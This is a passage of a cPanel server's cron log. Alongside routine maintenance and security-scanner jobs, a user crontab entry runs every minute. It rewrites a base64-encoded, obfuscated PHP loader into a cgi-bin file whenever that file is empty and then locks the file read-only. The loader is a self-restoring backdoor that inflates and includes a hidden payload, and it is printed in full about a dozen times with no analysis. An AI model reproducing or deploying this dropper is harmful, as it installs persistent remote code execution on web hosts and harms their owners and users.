"$fp")
Sep  4 16:50:01 server CROND[13422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:50:01 server CROND[13423]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:51:01 server CROND[14277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:51:01 server CROND[14276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:51:01 server CROND[14278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:52:01 server CROND[14664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:52:01 server CROND[14666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:52:01 server CROND[14665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:53:01 server CROND[15042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:53:01 server CROND[15043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:53:01 server CROND[15044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:54:01 server CROND[15186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:54:01 server CROND[15187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:54:01 server CROND[15189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:55:01 server CROND[15440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:55:01 server CROND[15442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:55:01 server CROND[15443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:55:01 server CROND[15447]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:55:01 server CROND[15446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:55:01 server CROND[15445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:55:01 server CROND[15444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:56:01 server CROND[16043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:56:01 server CROND[16044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:56:01 server CROND[16046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:57:01 server CROND[16193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:57:01 server CROND[16194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:57:01 server CROND[16196]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:57:01 server CROND[16195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:58:01 server CROND[16344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:58:01 server CROND[16345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:58:01 server CROND[16346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:59:01 server CROND[16602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:59:01 server CROND[16603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:59:01 server CROND[16604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:00:02 server CROND[17057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:00:02 server CROND[17064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:00:02 server CROND[17066]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:00:02 server CROND[17073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:00:02 server CROND[17077]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:00:02 server CROND[17078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:00:02 server CROND[17079]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 17:00:02 server CROND[17083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:00:02 server CROND[17081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:01:01 server CROND[17993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:01:01 server CROND[17994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:01:01 server CROND[17995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:01:01 server CROND[17996]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 17:01:01 server run-parts(/etc/cron.hourly)[17996]: starting 0anacron
Sep  4 17:01:01 server run-parts(/etc/cron.hourly)[18015]: finished 0anacron
Sep  4 17:02:01 server CROND[18388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:02:01 server CROND[18389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:02:01 server CROND[18390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
